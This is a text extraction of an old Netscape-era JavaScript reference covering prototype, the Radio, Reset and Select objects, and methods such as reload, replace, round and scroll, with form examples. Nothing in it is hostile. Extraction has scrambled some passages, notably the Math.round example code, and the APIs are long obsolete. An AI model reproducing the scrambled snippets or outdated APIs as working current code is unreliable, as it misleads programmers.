Use the prototype property to explicitly add properties to objects created with the new operator. For example, you can create Date objects by using the Date() constructor and the new operator. Date.prototype refers to the prototype object for the Date() constructor. If you set a property for the prototype, such as Date.prototype.description, then all objects created with Date() will have the description property, even if the objects already exist. var today = new Date() var birthday = new Date(95,12,17) Date.prototype.description=null today.description="Oh what a beautiful mornin\'" birthday.description="The day you were born" After you set a property for the prototype, all subsequent objects created with Date() will have the property: startDate=new Date() startDate.description="Started the daily grind"

Examples
Example 1: Add a property to a user-defined object. The following example uses the function Car to define a Car object type. It then uses new to create myCar, an instance of the object. The code Car.prototype.wheels=4 adds the wheels property to all instances of the Car object. function Car(make, model, year) { this.make = make this.model = model this.year = year } var myCar = new Car("Acura", "Integra", 1987) Car.prototype.wheels = 4 // no 3-wheelers please! if (myCar.wheels == 4) document.write("The car myCar has ", myCar.wheels, " wheels.") Example 2: Add a method to String objects. The following example creates a method, str_rep, and uses the statement String.prototype.rep = str_rep to add the method to all String objects. All objects created with new String() then have that method, even objects already created. The example then creates an alternate method and adds that to one of the String objects using the statement s1.rep = fake_rep. The str_rep method of the remaining String objects is not altered.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (63 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm

var s1 = new String("a") var s2 = new String("b") var s3 = new String("c") // Create a repeat-string-N-times method for all String objects function str_rep(n) { var s = "", t = this.toString() while (--n >= 0) s += t return s } String.prototype.rep = str_rep // Display the results document.write("<P>s1.rep(3) is " + s1.rep(3)) // "aaa" document.write("<BR>s2.rep(5) is " + s2.rep(5)) // "bbbbb" document.write("<BR>s3.rep(2) is " + s3.rep(2)) // "cc" // Create an alternate method and assign it to only one String variable function fake_rep(n) { return "repeat " + this + n + " times." } s1.rep = fake_rep document.write("<P>s1.rep(1) is " + s1.rep(1)) // "repeat a 1 times." document.write("<BR>s2.rep(4) is " + s2.rep(4)) // "bbbb" document.write("<BR>s3.rep(6) is " + s3.rep(6)) // "cccccc" This example produces the following output: s1.rep(3) is aaa s2.rep(5) is bbbbb s3.rep(2) is cc s1.rep(1) is repeat a1 times. s2.rep(4) is bbbb s3.rep(6) is cccccc The function in this example also works on String objects not created with the String() constructor. The following code returns "zzz". "z".rep(3)

See also
constructor property; "Creating new objects"

[Next reference file]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_m-q.htm (64 of 64) [30/08/2003 9:34:27 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

[Previous reference file]

Radio
Object. A set of radio buttons on an HTML form. The user can use a set of radio to choose one item from a list.

HTML syntax
To define a set of radio buttons, use standard HTML syntax with the addition of JavaScript event handlers: <INPUT TYPE="radio" NAME="radioName" VALUE="buttonValue" [CHECKED] [onBlur="handlerText"] [onClick="handlerText"] [onFocus="handlerText"]> textToDisplay

HTML attributes
NAME="radioName" specifies the name of the Radio object. All radio buttons in a group have the same NAME attribute. You can access this value using the name property, and you can use this name when indexing the elements array. VALUE="buttonValue" specifies a value that is returned to the server when the radio button is selected and the form is submitted. This defaults to "on." You can access this value using the value property. CHECKED specifies that the radio button is selected. You can access this value using the defaultChecked property. textToDisplay specifies the label to display beside the radio button.

Syntax
To use a radio button's properties and methods: 1. 2. 3. 4. radioName[index1].propertyName radioName[index1].methodName(parameters) formName.elements[index2].propertyName formName.elements[index2].methodName(parameters)

Parameters
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (1 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

radioName is the value of the NAME attribute of a Radio object. index1 is an integer representing a radio button in a Radio object. formName is either the value of the NAME attribute of a Form object or an element in the forms array. index2 is an integer representing a radio button on a form. The elements array contains an entry for each radio button in a Radio object. propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
Form object

Implemented in
q q

Navigator 2.0 Navigator 3.0: added type property; added blur and focus methods

Description
A Radio object on a form looks as follows: R&B Jazz Soul A Radio object is a form element and must be defined within a <FORM> tag. All radio buttons in a radio button group use the same name property. To access the individual radio buttons in your code, follow the object name with an index starting from zero, one for each button the same way you would for an array such as forms: document.forms[0].radioName[0] is the first, document.forms[0].radioName[1] is the second, and so on.

Properties
The Radio object has the following properties:

Property checked

Description Lets you programmatically select a radio button

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (2 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

defaultChecked Reflects the CHECKED attribute form property length name type value Specifies the form containing the Radio object Reflects the number of radio buttons in a Radio object Reflects the NAME attribute Reflects the TYPE attribute Reflects the VALUE attribute

Methods
The Radio object has the following methods:

q q q

blur click eval

q q q

focus toString valueOf

Event handlers
q q q

onBlur onClick onFocus

Examples
Example 1. The following example defines a radio button group to choose among three music catalogs. Each radio button is given the same name, NAME="musicChoice," forming a group of buttons for which only one choice can be selected. The example also defines a text field that defaults to what was chosen via the radio buttons but that allows the user to type a nonstandard catalog name as well. The onClick event handler sets the catalog name input field when the user clicks a radio button. <INPUT TYPE="text" NAME="catalog" SIZE="20"> <INPUT TYPE="radio" NAME="musicChoice" VALUE="soul-and-r&b" onClick="musicForm.catalog.value = 'soul-and-r&b'"> Soul and R&B <INPUT TYPE="radio" NAME="musicChoice" VALUE="jazz" onClick="musicForm.catalog.value = 'jazz'"> Jazz <INPUT TYPE="radio" NAME="musicChoice" VALUE="classical" onClick="musicForm.catalog.value = 'classical'"> Classical Example 2. The following example contains a form with three text boxes and three radio buttons. The radio buttons let the user choose whether the text fields are converted to uppercase or lowercase, or not converted at all. Each text field has an onChange event handler that converts the field value depending on which radio button is checked. The radio buttons for uppercase and lowercase have onClick event handlers that convert all fields when the user clicks the radio button. <HTML>
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (3 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

<HEAD> <TITLE>Radio object example</TITLE> </HEAD> <SCRIPT> function convertField(field) { if (document.form1.conversion[0].checked) { field.value = field.value.toUpperCase()} else { if (document.form1.conversion[1].checked) { field.value = field.value.toLowerCase()} } } function convertAllFields(caseChange) { if (caseChange=="upper") { document.form1.lastName.value = document.form1.lastName.value.toUpperCase() document.form1.firstName.value = document.form1.firstName.value.toUpperCase() document.form1.cityName.value = document.form1.cityName.value.toUpperCase()} else { document.form1.lastName.value = document.form1.lastName.value.toLowerCase() document.form1.firstName.value = document.form1.firstName.value.toLowerCase() document.form1.cityName.value = document.form1.cityName.value.toLowerCase() } } </SCRIPT> <BODY> <FORM NAME="form1"> <B>Last name:</B> <INPUT TYPE="text" NAME="lastName" SIZE=20 onChange="convertField(this)"> <BR><B>First name:</B> <INPUT TYPE="text" NAME="firstName" SIZE=20 onChange="convertField(this)"> <BR><B>City:</B> <INPUT TYPE="text" NAME="cityName" SIZE=20 onChange="convertField(this)"> <P><B>Convert values to:</B> <BR><INPUT TYPE="radio" NAME="conversion" VALUE="upper" onClick="if (this.checked) {convertAllFields('upper')}"> Upper case <BR><INPUT TYPE="radio" NAME="conversion" VALUE="lower" onClick="if (this.checked) {convertAllFields('lower')}"> Lower case <BR><INPUT TYPE="radio" NAME="conversion" VALUE="noChange"> No conversion </FORM> </BODY> </HTML> See also the example for the Link object.

See also
Checkbox object, Form object, Select object

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (4 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

random
Method. Returns a pseudo-random number between zero and one. The random number generator is seeded from current time, as in Java.

Syntax
Math.random()

Method of
Math

Implemented in
q q

Navigator 2.0 Navigator 3.0: works on all platforms. In previous releases, it worked on Unix platforms only.

Examples
//Returns a random number between 0 and 1 function getRandom() { return Math.random() }

referrer
Property. Specifies the URL of the calling document when a user clicks a link.

Syntax
document.referrer

Property of
document

Implemented in
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (5 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

Navigator 2.0

Tainted?
Yes

Description
When a user navigates to a destination document by clicking a Link object on a source document, the referrer property contains the URL of the source document. Evaluate the referrer property from the destination document. If the user clicked on a link to get to the current URL, referrer contains the URL the user linked from. referrer is empty if the user typed a URL in the Location box, or used some other means to get to the current URL. referrer is also empty if the server does not provide environment variable information. referrer is a read-only property.

Examples
In the following example, the getReferrer function is called from the destination document. It returns the URL of the source document. function getReferrer() { return document.referrer }

refresh
Method. Makes newly installed plug-ins available, updates related arrays such as the plugins array, and optionally reloads open documents that contain plug-ins.

Syntax
navigator.plugins.refresh([true|false])

Parameters
true refreshes the plugins array to make newly installed plug-ins available, and reloads all open documents that contain embedded objects (<EMBED> tag). false refreshes the plugins array to make newly installed plug-ins available, but does not reload open documents.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (6 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

Method of
plugins array

Implemented in
Navigator 3.0

Description
The refresh method makes newly installed plug-ins available by updating related arrays such as the plugins array. If the true keyword is specified, refresh reloads all open documents that contain plug-ins. When the user installs a plug-in, that plug-in is not available until refresh is called or the user closes and restarts Navigator.

Examples
The following code refreshes arrays and reloads open documents containing embedded objects: navigator.plugins.refresh(true)

See also
go, reload, replace methods

reload
Method. Forces a reload of the window's current document.

Syntax
location.reload([true])

Parameters
true forces an unconditional HTTP GET of the document from the server. This should not be used unless you have reason to believe that disk and memory caches are off or broken, or the server has a new version of the document (possibly it is generated by a CGI on each request).

Method of
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (7 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

location

Implemented in
Navigator 3.0

Description
The reload method forces a reload of the document specified by the URL in the location.href property. This method uses the same policy that the Navigator's Reload button uses (Once per Session, Every Time, or Never). The user sets the default value of this policy by choosing Network Preferences from the Options menu and specifying Verify Documents on the Cache tab of the Preferences dialog box. The reload method does not force a transaction with the server, unless the user has set the preference to Every Time, in which case it does a "conditional GET" request using an If-modified-since HTTP header, to ask the server to return the document only if its last-modified time is newer than the time the client keeps in its cache. In other words, reload will reload from the cache, unless the user has specified Every Time and the document has changed on the server since it was last loaded and saved in the cache. In event handlers, you must specify window.location.reload() instead of simply using location.reload(). Due to the scoping of static objects in JavaScript, a call to location without specifying an object name is equivalent to document.location, which is a synonym for document.URL.

Examples
The following example displays an image and three radio buttons. The user can click the radio buttons to choose which image is displayed. Clicking another button lets the user reload the document. <SCRIPT> function displayImage(theImage) { document.images[0].src=theImage } </SCRIPT> <FORM NAME="imageForm"> <B>Choose an image:</B> <BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image1" CHECKED onClick="displayImage('seaotter.gif')">Sea otter <BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image2" onClick="displayImage('orca.gif')">Killer whale <BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image3" onClick="displayImage('humpback.gif')">Humpback whale <BR> <IMG NAME="marineMammal" SRC="seaotter.gif" ALIGN="left" VSPACE="10"> <P><INPUT TYPE="button" VALUE="Click here to reload" onClick="window.location.reload()">
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (8 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

</FORM>

See also
go, refresh, replace methods

replace
Method. Loads the specified URL over the current history entry.

Syntax
location.replace("URL")

Parameters
URL specifies the URL to load.

Method of
location

Implemented in
Navigator 3.0

Description
The replace method loads the specified URL over the current history entry, so after the replace method is used, the user cannot navigate to the previous URL by using Navigator's Back button. In event handlers, you must specify window.location.replace() instead of simply using location.replace(). Due to the scoping of static objects in JavaScript, a call to location without specifying an object name is equivalent to document.location, which is a synonym for document.URL. If your program will be run with JavaScript in Navigator 2.0, you could put the following line in a <SCRIPT> tag early in your program. This emulates replace, which was introduced in Navigator 3.0: if (location.replace == null) location.replace = location.assign

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (9 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

The replace method does not create a new entry in the history list. To create an entry in the history list while loading a URL, use go.

Examples
The following example lets the user choose among several catalogs to display. The example displays two sets of radio buttons which let the user choose a season and a category, for example the Spring/Summer Clothing catalog or the Fall/Winter Home & Garden catalog. When the user clicks the Go button, the displayCatalog function executes the replace method, replacing the current URL with the URL appropriate for the catalog the user has chosen. Note that after the replace method is used, the user cannot navigate to the previous URL (the list of catalogs) by using Navigator's Back button. <SCRIPT> function displayCatalog() { var seaName="" var catName="" for (var i=0; i < document.catalogForm.season.length; i++) { if (document.catalogForm.season[i].checked) { seaName=document.catalogForm.season[i].value i=document.catalogForm.season.length } } for (var i in document.catalogForm.category) { if (document.catalogForm.category[i].checked) { catName=document.catalogForm.category[i].value i=document.catalogForm.category.length } } fileName=seaName + catName + ".html" location.replace(fileName) } </SCRIPT> <FORM NAME="catalogForm"> <B>Which catalog do you want to see?</B> <P><B>Season</B> <BR><INPUT TYPE="radio" NAME="season" VALUE="q1" CHECKED>Spring/Summer <BR><INPUT TYPE="radio" NAME="season" VALUE="q3">Fall/Winter <P><B>Category</B> <BR><INPUT TYPE="radio" NAME="category" VALUE="clo" CHECKED>Clothing <BR><INPUT TYPE="radio" NAME="category" VALUE="lin">Linens <BR><INPUT TYPE="radio" NAME="category" VALUE="hom">Home & Garden <P><INPUT TYPE="button" VALUE="Go" onClick="displayCatalog()"> </FORM>

See also
history object; "replace" parameter of open (document object) method; go, refresh, reload methods

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (10 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

reset method
Method. Simulates a mouse click on a reset button for the calling form.

Syntax
formName.reset()

Parameters
formName is the name of any form or an element in the forms array.

Method of
Form object

Implemented in
Navigator 3.0

Description
The reset method restores a form element's default values. A reset button does not need to be defined for the form.

Examples
The following example displays a Text object in which the user is to type "CA" or "AZ". The Text object's onChange event handler calls a function that executes the form's reset method if the user provides incorrect input. When the reset method executes, defaults are restored and the form's onReset event handler displays a message. <SCRIPT> function verifyInput(textObject) { if (textObject.value == 'CA' || textObject.value == 'AZ') { alert('Nice input') } else { document.form1.reset() } } </SCRIPT> <FORM NAME="form1" onReset="alert('Please enter CA or AZ.')"> Enter CA or AZ: <INPUT TYPE="text" NAME="state" SIZE="2" onChange=verifyInput(this)><P> </FORM>
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (11 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

See also
onReset event handler, Reset object

Reset object
Object. A reset button on an HTML form. A reset button resets all elements in a form to their defaults.

HTML syntax
To define a reset button, use standard HTML syntax with the addition of JavaScript event handlers: <INPUT TYPE="reset" NAME="resetName" VALUE="buttonText" [onBlur="handlerText"] [onClick="handlerText"] [onFocus="handlerText"]>

HTML attributes
NAME="resetName" specifies the name of the Reset object. You can access this value using the name property, and you can use this name when indexing the elements array. VALUE="buttonText" specifies the text to display on the button face. You can access this value using the value property.

Syntax
To use a Reset object's properties and methods: 1. 2. 3. 4. resetName.propertyName resetName.methodName(parameters) formName.elements[index].propertyName formName.elements[index].methodName(parameters)

Parameters
resetName is the value of the NAME attribute of a Reset object.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (12 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

formName is either the value of the NAME attribute of a Form object or an element in the forms array. index is an integer representing a Reset object on a form or the name of a Reset object as specified by the NAME attribute. propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
Form object

Implemented in
q q

Navigator 2.0 Navigator 3.0: added type property; added onBlur and onFocus event handlers; added blur and focus methods

Description
A Reset object on a form looks as follows:
Defaults

A Reset object is a form element and must be defined within a <FORM> tag. The reset button's onClick event handler cannot prevent a form from being reset; once the button is clicked, the reset cannot be canceled.

Properties
The Reset object has the following properties:

Property name type value

Description Reflects the NAME attribute Reflects the TYPE attribute Reflects the VALUE attribute

form property Specifies the form containing the Reset object

Methods
The Reset object has the following methods:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (13 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

q q q

blur click eval

q q q

focus toString valueOf

Event handlers
q q q

onBlur onClick onFocus

Examples
Example 1. The following example displays a Text object with the default value "CA" and a reset button with the text "Clear Form" displayed on its face. If the user types a state abbreviation in the Text object and then clicks the Clear Form button, the original value of "CA" is restored. <B>State: </B><INPUT TYPE="text" NAME="state" VALUE="CA" SIZE="2"> <P><INPUT TYPE="reset" VALUE="Clear Form"> Example 2. The following example displays two Text objects, a Select object, and three radio buttons; all of these objects have default values. The form also has a reset button with the text "Defaults" on its face. If the user changes the value of any of the objects and then clicks the Defaults button, the original values are restored. <HTML> <HEAD> <TITLE>Reset object example</TITLE> </HEAD> <BODY> <FORM NAME="form1"> <BR><B>City: </B><INPUT TYPE="text" NAME="city" VALUE="Santa Cruz" SIZE="20"> <B>State: </B><INPUT TYPE="text" NAME="state" VALUE="CA" SIZE="2"> <P><SELECT NAME="colorChoice"> <OPTION SELECTED> Blue <OPTION> Yellow <OPTION> Green <OPTION> Red </SELECT> <P><INPUT TYPE="radio" NAME="musicChoice" VALUE="soul-and-r&b" CHECKED> Soul and R&B <BR><INPUT TYPE="radio" NAME="musicChoice" VALUE="jazz"> Jazz <BR><INPUT TYPE="radio" NAME="musicChoice" VALUE="classical"> Classical <P><INPUT TYPE="reset" VALUE="Defaults" NAME="reset1"> </FORM> </BODY> </HTML>
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (14 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

See also
Button object, Form object, onReset event handler, reset method, Submit object

reverse
Method. Transposes the elements of an array: the first array element becomes the last and the last becomes the first.

Syntax
arrayName.reverse()

Parameters
arrayName is the name of an Array object or a property of an existing object.

Method of
Array

Implemented in
Navigator 3.0

Description
The reverse method transposes the elements of the calling array object.

Examples
The following example creates an array myArray, containing three elements, then reverses the array. myArray = new Array("one", "two", "three") myArray.reverse() This code changes myArray so that:
q q q

myArray[0] is "three" myArray[1] is "two" myArray[2] is "one"

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (15 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

See also
join, sort methods

round
Method. Returns the value of a number rounded to the nearest integer.

Syntax
Math.round(number)

Parameters
number is any numeric expression or a property of an existing object.

Method of
Math

Implemented in
Navigator 2.0

Description
If the fractional portion of number is .5 or greater, the argument is rounded to the next highest integer. If the fractional portion of number is less than .5, the argument is rounded to the next lowest integer.

Examples
//Displays the value 20 document.write("The rounded value is //Displays the value 21 document.write("<P>The rounded value //Displays the value -20 document.write("<P>The rounded value //Displays the value -21 document.write("<P>The rounded value " + Math.round(20.49)) is " + Math.round(20.5)) is " + Math.round(-20.5)) is " + Math.round(-20.51))

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (16 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm

[Next reference file]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_r-r.htm (17 of 17) [30/08/2003 9:34:28 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

[Previous reference file]

scroll
Method. Scrolls a window to a specified coordinate.

Syntax
windowReference.scroll(x-coordinate,y-coordinate)

Parameters
windowReference is a valid way of referring to a window, as described in the window object. x-coordinate is an integer representing the x-coordinate in pixels. y-coordinate is an integer representing the y-coordinate in pixels.

Method of
window object

Implemented in
Navigator 3.0

Description
JavaScript does not reflect document dimensions in pixels, so when using the scroll method, you must hardcode the x and y coordinates. A document's upper left coordinates are 0,0.

Examples
Example 1: Scroll the current window. The following example scrolls the current window to the coordinates 50,100. window.scroll(50,100) Example 2: Scroll a different window. The following code, which exists in one frame, scrolls a second frame. Two Text objects let the user specify the x and y coordinates. When the user clicks the Go button, the document in frame2 scrolls to the specified coordinates. <SCRIPT> function scrollIt(form) { var x = parseInt(form.x.value) var y = parseInt(form.y.value) parent.frame2.scroll(x, y) } </SCRIPT> <BODY>
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (1 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

<FORM NAME="myForm"> <P><B>Specify the coordinates to scroll to:</B> <BR>Horizontal: <INPUT TYPE="text" NAME=x VALUE="0" SIZE=4> <BR>Vertical: <INPUT TYPE="text" NAME=y VALUE="0" SIZE=4> <BR><INPUT TYPE="button" VALUE="Go" onClick="scrollIt(document.myForm)"> </FORM>

search
Property. A string beginning with a question mark that specifies any query information in the URL.

Syntax
1. links[index].search 2. location.search 3. areaName.search

Parameters
index is an integer representing a Link object or the name of a Link object as specified by the NAME attribute. areaName is the value of the NAME attribute of an Area object.

Property of
Area object (see Link object), Link object, location object

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of Area

Tainted?
Yes

Description
The search property specifies a portion of the URL. This property applies to http URLs only. The search property contains variable and value pairs; each pair is separated by an ampersand. For example, two pairs in a search string could look like the following: ?x=7&y=5

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (2 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

You can set the search property at any time, although it is safer to set the href property to change a location. If the search that you specify cannot be found in the current location, you will get an error. In event handlers, you must specify window.location.search instead of simply using location.search. Due to the scoping of static objects in JavaScript, a call to location without specifying an object name is equivalent to document.location, which is a synonym for document.URL. See Section 3.3 of RFC 1738 for complete information about the search.

Examples
In the following example, the window.open statement creates a window called newWindow and loads the specified URL into it. The document.write statements display all the properties of newWindow.location in a window called msgWindow. newWindow=window.open ("http://guide-p.infoseek.com/WW/NS/Titles?qt=RFC+1738+&col=WW") msgWindow.document.write("newWindow.location.href = " + newWindow.location.href + "<P>") msgWindow.document.write("newWindow.location.protocol = " + newWindow.location.protocol + "<P>") msgWindow.document.write("newWindow.location.host = " + newWindow.location.host + "<P>") msgWindow.document.write("newWindow.location.hostName = " + newWindow.location.hostName + "<P>") msgWindow.document.write("newWindow.location.port = " + newWindow.location.port + "<P>") msgWindow.document.write("newWindow.location.pathname = " + newWindow.location.pathname + "<P>") msgWindow.document.write("newWindow.location.hash = " + newWindow.location.hash + "<P>") msgWindow.document.write("newWindow.location.search = " + newWindow.location.search + "<P>") msgWindow.document.close() The previous example displays the following output: newWindow.location.href = http://guide-p.infoseek.com/WW/NS/Titles?qt=RFC+1738+&col=WW newWindow.location.protocol = http: newWindow.location.host = guide-p.infoseek.com newWindow.location.hostName = guide-p.infoseek.com newWindow.location.port = newWindow.location.pathname = /WW/NS/Titles newWindow.location.hash = newWindow.location.search = ?qt=RFC+1738+&col=WW

See also
hash, host, hostname, href, pathname, port, protocol properties

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (3 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

select method
Method. Selects the input area of the specified Password, Text, or Textarea object.

Syntax
1. passwordName.select() 2. textName.select() 3. textareaName.select()

Parameters
passwordName is either the value of the NAME attribute of a Password object or an element in the elements array. textName is either the value of the NAME attribute of a Text object or an element in the elements array. textareaName is either the value of the NAME attribute of a Textarea object or an element in the elements array.

Method of
Password object, Text object, Textarea object

Implemented in
Navigator 2.0

Description
Use the select method to highlight the input area of a form element. You can use the select method with the focus method to highlight a field and position the cursor for a user response.

Examples
In the following example, the checkPassword function confirms that a user has entered a valid password. If the password is not valid, the select method highlights the password field and the focus method returns focus to it so the user can re-enter the password. function checkPassword(userPass) { if (badPassword) { alert("Please enter your password again.") userPass.focus() userPass.select() } } This example assumes that the password is defined as <INPUT TYPE="password" NAME="userPass">

See also
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (4 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

blur, focus methods

Select object
Object. A selection list on an HTML form. The user can choose one or more items from a selection list.

HTML syntax
To define a Select object, use standard HTML syntax with the addition of JavaScript event handlers: <SELECT NAME="selectName" [SIZE="integer"] [MULTIPLE] [onBlur="handlerText"] [onChange="handlerText"] [onFocus="handlerText"]> <OPTION VALUE="optionValue" [SELECTED]> textToDisplay [ ... <OPTION> textToDisplay] </SELECT>

HTML attributes
NAME="selectName" specifies the name of the Select object. You can access this value using the name property, and you can use this name when indexing the elements array. SIZE="integer" specifies the number of options visible when the form is displayed. MULTIPLE specifies that multiple items can be selected. If omitted, only one item can be selected from the list. OPTION specifies a selection element in the list. You can access the options using the options array. VALUE="optionValue" specifies a value that is returned to the server when the option is selected and the form is submitted. You can access this value using the value property. SELECTED specifies that the option is selected by default. You can access this value using the defaultSelected property. textToDisplay specifies the text to display in the list. You can access this value using the text property.

Syntax
To create an option to add to an existing Select object: optionName = new Option([text, value, defaultSelected, selected]) To add the new option to an existing Select object: selectName.options[index1]=optionName

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (5 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

To delete an option from a Select object: selectName.options[index1] = null To use a Select object's properties and methods: 1. 2. 3. 4. selectName.propertyName selectName.methodName(parameters) formName.elements[index].propertyName formName.elements[index].methodName(parameters)

To use an option's properties: 1. selectName.options[index1].propertyName 2. formName.elements[index2].options[index1].propertyName 3. optionName.propertyName

Parameters
optionName is either the name of a new object or a property of an existing object. When using Option properties and methods, optionName is either the name of an existing Option object or a property of an existing object. text specifies the text to display in the select list. You can access this value using the text property. value specifies a value that is returned to the server when the option is selected and the form is submitted. You can access this value using the value property. defaultSelected specifies whether the option is initially selected (true or false). You can access this value using the defaultSelected property. selected specifies the current selection state of the option (true or false). You can access this value using the selected property. selectName is the value of the NAME attribute of a Select object. formName is either the value of the NAME attribute of a Form object or an element in the forms array. index is an integer representing a Select object on a form or the name of a Select object as specified by the NAME attribute. index1 is an integer representing an option in a Select object. index2 is an integer representing a Select object on a form. propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
q q

The Select object is a property of the Form object. The options array is a property of the Select object.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (6 of 44) [30/08/2003 9:34:32 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm

Implemented in
q q

Navigator 2.0 Navigator 3.0: text property can be changed to change the text of an option; added type property; added Option() constructor and all its properties; added the ability to add and delete options

Description
A Select object on a form looks as follows. The user can choose one item from the list on the left; the user can choose multiple items from the list on the right:
R&B Jazz Blues New Age

R&B

A Select object is a form element and must be defined within a <FORM> tag. The options array You can reference the options of a Select object in your code by using the options array. This array contains an entry for each option in a Select object (<OPTION> tag) in source order. For example, if a Select object named musicStyle contains three options, these options are reflected as musicStyle.options[0], musicStyle.options[1], and musicStyle.options[2]. To use the options array: 1. selectName.options 2. selectName.options[index] 3. selectName.options.length selectName is either the value of the NAME attribute of a Select object or an element in the elements array. index is an integer representing an option in a Select object. To obtain the number of options in a Select object, use the length property of either the options array or the Select object: 1. selectName.length 2. selectName.options.length The Select object has properties that you can access only through the options array. These properties are listed below. Each element in the options array represents a Select option; the value returned by selectName.options represents the full HTML statement for the selectName object. Elements in the options array are read-only. For example, the statement selectName.options[0]="guitar" has no effect. For Select objects that can have multiple selections (the <SELECT> tag has the MULTIPLE attribute), you have to loop and test each option individually: for (var i = 0; i < select.options.length; i++) { if (select.options[i].selected) // Statements to perform if option is selected

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_s-s.htm (7 of 44) [30/08/2003 9:34:32 PM]

